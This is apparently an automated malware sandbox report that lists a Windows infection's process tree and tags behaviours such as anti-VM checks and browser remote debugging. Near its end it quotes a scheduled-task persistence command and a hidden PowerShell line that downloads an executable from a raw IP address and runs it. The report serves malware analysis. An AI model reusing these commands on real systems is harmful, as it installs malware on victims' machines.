        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7bd8cc40,0x7ffe7bd8cc4c,0x7ffe7bd8cc58
        9⤵
        
        PID:3228
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2072,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2068 /prefetch:2
        9⤵
        
        PID:3240
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2124 /prefetch:3
        9⤵
        
        PID:3608
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2288,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2492 /prefetch:8
        9⤵
        
        PID:3576
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3204 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3880
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3248 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3540
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4520,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4572 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4800
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4700,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4744 /prefetch:8
        9⤵
        
        PID:5124
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3860,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4788 /prefetch:8
        9⤵
        
        PID:5136
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4844,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4872 /prefetch:8
        9⤵
        
        PID:5288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4908,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4716 /prefetch:8
        9⤵
        
        PID:5356
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4900,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4868 /prefetch:8
        9⤵
        
        PID:5500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4876 /prefetch:8
        9⤵
        
        PID:5548
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4824,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4968 /prefetch:8
        9⤵
        
        PID:5616
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4980,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5184 /prefetch:8
        9⤵
        
        PID:6040
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5304,i,3394548615757478837,17107432805609963069,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4832 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:5936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:5836
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe788a46f8,0x7ffe788a4708,0x7ffe788a4718
        9⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5844
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2
        9⤵
        
        PID:6140
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
        9⤵
        
        PID:5892
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:6056
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4812 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,16491240183992736462,685918940390090394,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
        9⤵
        
        PID:1412
        
        C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
        8⤵
        Uses browser remote debugging
        
        PID:6012
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7b1dcc40,0x7ffe7b1dcc4c,0x7ffe7b1dcc58
        9⤵
        
        PID:5888
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:2056
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718
        9⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1176
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
        9⤵
        
        PID:2536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
        9⤵
        
        PID:4676
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2988 /prefetch:8
        9⤵
        
        PID:3356
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:1216
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:2004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
        9⤵
        
        PID:1316
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        9⤵
        
        PID:5836
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3880 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5396
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5384
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3016 /prefetch:2
        9⤵
        
        PID:3344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4808 /prefetch:2
        9⤵
        
        PID:5628
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2668 /prefetch:2
        9⤵
        
        PID:5972
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3788 /prefetch:2
        9⤵
        
        PID:5848
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2736 /prefetch:2
        9⤵
        
        PID:5204
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3472 /prefetch:2
        9⤵
        
        PID:5148
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 2528
        8⤵
        Program crash
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:60
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn slleYmaixXQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3960
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn slleYmaixXQ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta" /sc minute /mo 25 /ru "Admin" /f
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3540
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\9vYqQKnqx.hta
        8⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4696
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
        
        "C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE"
        10⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:6016
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10110400121\am_no.cmd" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4664
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        8⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:6008
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        9⤵
        Command and Scripting Interpreter: PowerShell
